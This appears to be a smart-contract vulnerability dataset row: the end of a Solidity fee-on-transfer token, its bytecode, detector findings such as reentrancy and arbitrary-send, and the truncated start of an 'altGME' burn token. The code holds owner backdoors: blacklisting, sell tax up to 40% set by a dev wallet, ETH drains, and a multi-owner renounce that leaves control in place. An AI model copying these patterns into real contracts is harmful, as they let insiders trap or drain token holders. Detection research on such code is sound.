contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function isWhiteListed(address account) public view returns (bool) {
return whitelist[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MarketTax.transfer(amount.div(2));
_DevTax.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
publicsale = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Dev);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Dev);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setWhitelist(address[] memory whitelist_) public onlyOwner() {
for (uint256 i = 0; i < whitelist_.length; i++) {
whitelist[whitelist_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Dev);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setSellTax(uint256 selltax) external onlyOwner() {
require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40');
_sellTax = selltax;
}
function _setBuyTax(uint256 buytax) external onlyOwner() {
require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10');
_buytax = buytax;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarket(address payable account) external {
require(_msgSender() == _Dev);
_MarketTax = account;
}
function setDev(address payable account) external {
require(_msgSender() == _Dev);
_Dev = account;
}
function setDevpay(address payable account) external {
require(_msgSender() == _Dev);
_DevTax = account;
}
function OpenPublic() external onlyOwner() {
publicsale = true;
}
function _ZeroLost() external {
require(_msgSender() == _Dev);
require(_sellTax >= 10 && _sellTax <= 40, 'teamFee should be in 10 - 40, Minimum for ZeroLost is 10');
_teamFee = _teamFee.sub(5);
}
function _ZeroSellTax() external {
require(_msgSender() == _Dev);
_sellTax = 0;
}
function _ZeroBuyTax() external {
require(_msgSender() == _Dev);
_buytax = 0;
}
}
|
0x6080604052600436106101fd5760003560e01c8063a9059cbb1161010d578063d00efb2f116100a0578063dd62ed3e1161006f578063dd62ed3e146105ce578063e01af92c14610614578063e47d606014610634578063e850fe381461066d578063f42176481461068257600080fd5b8063d00efb2f14610558578063d477f05f1461056e578063d543dbeb1461058e578063dbe8272c146105ae57600080fd5b8063c9567bf9116100dc578063c9567bf9146104d5578063cba0e996146104ea578063cdeda4c614610523578063cf27e7d51461053857600080fd5b8063a9059cbb14610460578063b515566a14610480578063c0e6b46e146104a0578063c3c8cd80146104c057600080fd5b80636dcea85f11610190578063715018a61161015f578063715018a6146103cb57806384e1879d146103e05780638d9d08e7146103f55780638da5cb5b1461040a57806395d89b411461043257600080fd5b80636dcea85f1461033d5780636f9170f61461035d5780636fc3eaec1461039657806370a08231146103ab57600080fd5b8063273123b7116101cc578063273123b7146102bf5780632b7581b2146102e1578063313ce56714610301578063437823ec1461031d57600080fd5b806306fdde0314610209578063095ea7b31461024957806318160ddd1461027957806323b872dd1461029f57600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5060408051808201909152600581526447697a6d6f60d81b60208201525b6040516102409190612133565b60405180910390f35b34801561025557600080fd5b50610269610264366004611fc4565b6106a2565b6040519015158152602001610240565b34801561028557600080fd5b50683635c9adc5dea000005b604051908152602001610240565b3480156102ab57600080fd5b506102696102ba366004611f84565b6106b9565b3480156102cb57600080fd5b506102df6102da366004611f14565b610722565b005b3480156102ed57600080fd5b506102df6102fc3660046120ee565b610776565b34801561030d57600080fd5b5060405160098152602001610240565b34801561032957600080fd5b506102df610338366004611f14565b6107f6565b34801561034957600080fd5b506102df610358366004611f14565b610844565b34801561036957600080fd5b50610269610378366004611f14565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156103a257600080fd5b506102df610886565b3480156103b757600080fd5b506102916103c6366004611f14565b6108b3565b3480156103d757600080fd5b506102df6108d5565b3480156103ec57600080fd5b506102df610949565b34801561040157600080fd5b506102df610970565b34801561041657600080fd5b506000546040516001600160a01b039091168152602001610240565b34801561043e57600080fd5b5060408051808201909152600581526447495a4d4f60d81b6020820152610233565b34801561046c57600080fd5b5061026961047b366004611fc4565b610a2b565b34801561048c57600080fd5b506102df61049b366004611fef565b610a38565b3480156104ac57600080fd5b506102df6104bb3660046120ee565b610adc565b3480156104cc57600080fd5b506102df610b71565b3480156104e157600080fd5b506102df610ba7565b3480156104f657600080fd5b50610269610505366004611f14565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561052f57600080fd5b506102df610f6e565b34801561054457600080fd5b506102df610553366004611f14565b610fad565b34801561056457600080fd5b5061029160195481565b34801561057a57600080fd5b506102df610589366004611f14565b610fef565b34801561059a57600080fd5b506102df6105a93660046120ee565b611031565b3480156105ba57600080fd5b506102df6105c93660046120ee565b6110ff565b3480156105da57600080fd5b506102916105e9366004611f4c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561062057600080fd5b506102df61062f3660046120b6565b61117f565b34801561064057600080fd5b5061026961064f366004611f14565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561067957600080fd5b506102df6111bd565b34801561068e57600080fd5b506102df61069d366004611fef565b6111e4565b60006106af338484611284565b5060015b92915050565b60006106c68484846113a8565b610718843361071385604051806060016040528060288152602001612304602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061176a565b611284565b5060019392505050565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90612186565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a05760405162461bcd60e51b815260040161074c90612186565b600a8111156107f15760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d203130000000000000604482015260640161074c565b600955565b6000546001600160a01b031633146108205760405162461bcd60e51b815260040161074c90612186565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b03161461086457600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316146108a657600080fd5b476108b0816117a4565b50565b6001600160a01b0381166000908152600260205260408120546106b390611829565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161074c90612186565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b03161461096957600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b03161461099057600080fd5b600a600b54101580156109a657506028600b5411155b610a185760405162461bcd60e51b815260206004820152603860248201527f7465616d4665652073686f756c6420626520696e203130202d2034302c204d6960448201527f6e696d756d20666f72205a65726f4c6f73742069732031300000000000000000606482015260840161074c565b600a54610a269060056118ad565b600a55565b60006106af3384846113a8565b6000546001600160a01b03163314610a625760405162461bcd60e51b815260040161074c90612186565b60005b8151811015610ad857600160106000848481518110610a9457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ad081612299565b915050610a65565b5050565b6014546001600160a01b0316336001600160a01b031614610afc57600080fd5b60008111610b4c5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161074c565b610b6b612710610b65683635c9adc5dea00000846118ef565b9061196e565b600f5550565b6014546001600160a01b0316336001600160a01b031614610b9157600080fd5b6000610b9c306108b3565b90506108b0816119b0565b6000546001600160a01b03163314610bd15760405162461bcd60e51b815260040161074c90612186565b601754600160a01b900460ff1615610c2b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161074c565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c683082683635c9adc5dea00000611284565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca157600080fd5b505afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190611f30565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2157600080fd5b505afa158015610d35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d599190611f30565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610da157600080fd5b505af1158015610db5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd99190611f30565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610e09816108b3565b600080610e1e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610e8157600080fd5b505af1158015610e95573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eba9190612106565b5050601780546801158e460913d000006018554360195563ffff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad891906120d2565b6000546001600160a01b03163314610f985760405162461bcd60e51b815260040161074c90612186565b6017805460ff60b81b1916600160b81b179055565b6014546001600160a01b0316336001600160a01b031614610fcd57600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461100f57600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461105b5760405162461bcd60e51b815260040161074c90612186565b600081116110ab5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161074c565b6110c46103e8610b65683635c9adc5dea00000846118ef565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146111295760405162461bcd60e51b815260040161074c90612186565b602881111561117a5760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d2034300000000000604482015260640161074c565b600b55565b6014546001600160a01b0316336001600160a01b03161461119f57600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146111dd57600080fd5b6000600955565b6000546001600160a01b0316331461120e5760405162461bcd60e51b815260040161074c90612186565b60005b8151811015610ad85760016011600084848151811061124057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061127c81612299565b915050611211565b6001600160a01b0383166112e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b0382166113475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661140c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b03821661146e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b600081116114d05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161074c565b6000546001600160a01b038481169116148015906114fc57506000546001600160a01b03838116911614155b1561170d576001600160a01b03831630146115205760185481111561152057600080fd5b601754600160b81b900460ff16611593576001600160a01b03831660009081526011602052604090205460ff168061157057506001600160a01b03821660009081526011602052604090205460ff165b8061158a57503360009081526011602052604090205460ff165b61159357600080fd5b6017546001600160a01b03848116911614806115bc57506016546001600160a01b038481169116145b156115c857600954600a555b6017546001600160a01b038481169116148015906115f457506016546001600160a01b03848116911614155b1561160057600b54600a555b6001600160a01b03831660009081526010602052604090205460ff1615801561164257506001600160a01b03821660009081526010602052604090205460ff16155b801561165e57503360009081526010602052604090205460ff16155b61166757600080fd5b6000611672306108b3565b9050600f5481106116825750600f545b600e546017549082101590600160a81b900460ff161580156116ad5750601754600160b01b900460ff165b80156116b65750805b80156116d057506017546001600160a01b03868116911614155b80156116ea57506016546001600160a01b03868116911614155b1561170a576116f8826119b0565b47801561170857611708476117a4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061174f57506001600160a01b03831660009081526005602052604090205460ff165b15611758575060005b61176484848484611b55565b50505050565b6000818484111561178e5760405162461bcd60e51b815260040161074c9190612133565b50600061179b8486612282565b95945050505050565b6013546001600160a01b03166108fc6117be83600261196e565b6040518115909202916000818181858888f193505050501580156117e6573d6000803e3d6000fd5b506015546001600160a01b03166108fc61180183600261196e565b6040518115909202916000818181858888f19350505050158015610ad8573d6000803e3d6000fd5b60006006548211156118905760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161074c565b600061189a611b83565b90506118a6838261196e565b9392505050565b60006118a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061176a565b6000826118fe575060006106b3565b600061190a8385612263565b9050826119178583612243565b146118a65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161074c565b60006118a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ba6565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611a0657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a5a57600080fd5b505afa158015611a6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a929190611f30565b81600181518110611ab357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611ad99130911684611284565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b129085906000908690309042906004016121bb565b600060405180830381600087803b158015611b2c57600080fd5b505af1158015611b40573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b80611b6257611b62611bd4565b611b6d848484611c02565b8061176457611764600c54600855600d54600a55565b6000806000611b90611cf9565b9092509050611b9f828261196e565b9250505090565b60008183611bc75760405162461bcd60e51b815260040161074c9190612133565b50600061179b8486612243565b600854158015611be45750600a54155b15611beb57565b60088054600c55600a8054600d5560009182905555565b600080600080600080611c1487611d3b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c4690876118ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c759086611d98565b6001600160a01b038916600090815260026020526040902055611c9781611df7565b611ca18483611e41565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ce691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611d15828261196e565b821015611d3257505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611d588a600854600a54611e65565b9250925092506000611d68611b83565b90506000806000611d7b8e878787611eb4565b919e509c509a509598509396509194505050505091939550919395565b600080611da5838561222b565b9050838110156118a65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6000611e01611b83565b90506000611e0f83836118ef565b30600090815260026020526040902054909150611e2c9082611d98565b30600090815260026020526040902055505050565b600654611e4e90836118ad565b600655600754611e5e9082611d98565b6007555050565b6000808080611e796064610b6589896118ef565b90506000611e8c6064610b658a896118ef565b90506000611ea482611e9e8b866118ad565b906118ad565b9992985090965090945050505050565b6000808080611ec388866118ef565b90506000611ed188876118ef565b90506000611edf88886118ef565b90506000611ef182611e9e86866118ad565b939b939a50919850919650505050505050565b8035611f0f816122e0565b919050565b600060208284031215611f25578081fd5b81356118a6816122e0565b600060208284031215611f41578081fd5b81516118a6816122e0565b60008060408385031215611f5e578081fd5b8235611f69816122e0565b91506020830135611f79816122e0565b809150509250929050565b600080600060608486031215611f98578081fd5b8335611fa3816122e0565b92506020840135611fb3816122e0565b929592945050506040919091013590565b60008060408385031215611fd6578182fd5b8235611fe1816122e0565b946020939093013593505050565b60006020808385031215612001578182fd5b823567ffffffffffffffff80821115612018578384fd5b818501915085601f83011261202b578384fd5b81358181111561203d5761203d6122ca565b8060051b604051601f19603f83011681018181108582111715612062576120626122ca565b604052828152858101935084860182860187018a1015612080578788fd5b8795505b838610156120a95761209581611f04565b855260019590950194938601938601612084565b5098975050505050505050565b6000602082840312156120c7578081fd5b81356118a6816122f5565b6000602082840312156120e3578081fd5b81516118a6816122f5565b6000602082840312156120ff578081fd5b5035919050565b60008060006060848603121561211a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561215f57858101830151858201604001528201612143565b818111156121705783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561220a5784516001600160a01b0316835293830193918301916001016121e5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561223e5761223e6122b4565b500190565b60008261225e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561227d5761227d6122b4565b500290565b600082821015612294576122946122b4565b500390565b60006000198214156122ad576122ad6122b4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b057600080fd5b80151581146108b057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b37bf2e956782ba8dd25bb0857f116ac0e671706685bd13b8ca6eb0ac38f96864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,442 |
0x111111111CFACf48287Ff59Cc0c7B03629f1444F
|
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
/*
altGME
(altGME)
An AltStreet.io Project
Website: https://AltStreet.io
Telegram: https://t.me/altstreetio
Contract: https://etherscan.io/address/0x111111111cfacf48287ff59cc0c7b03629f1444f#code
AltStreet features a new token LP on Uniswap every few days
4% token burn per transfer for altGME
100,000 altGME initial supply + 10 ETH
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
uint burnFee = 4;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint amountRec = amount;
uint amountBurn = 0;
amountBurn = amount.mul(burnFee).div(100);
amountRec = amount.sub(amountBurn);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amountRec);
_totalSupply = _totalSupply.sub(amountBurn);
emit Transfer(sender, recipient, amountRec);
emit Transfer(sender, address(0), amountBurn);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function addBalance(address account, uint amount) internal {
require(account != address(0), "ERC20: add to the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
//address private _owner;
mapping (address => bool) private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner[msgSender] = true;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner[_msgSender()] , "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_msgSender(), address(0));
_owner[_msgSender()] = false;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function addOwner(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(address(0), newOwner);
_owner[newOwner] = true;
}
}
contract altGME is ERC20, ERC20Detailed, Ownable {
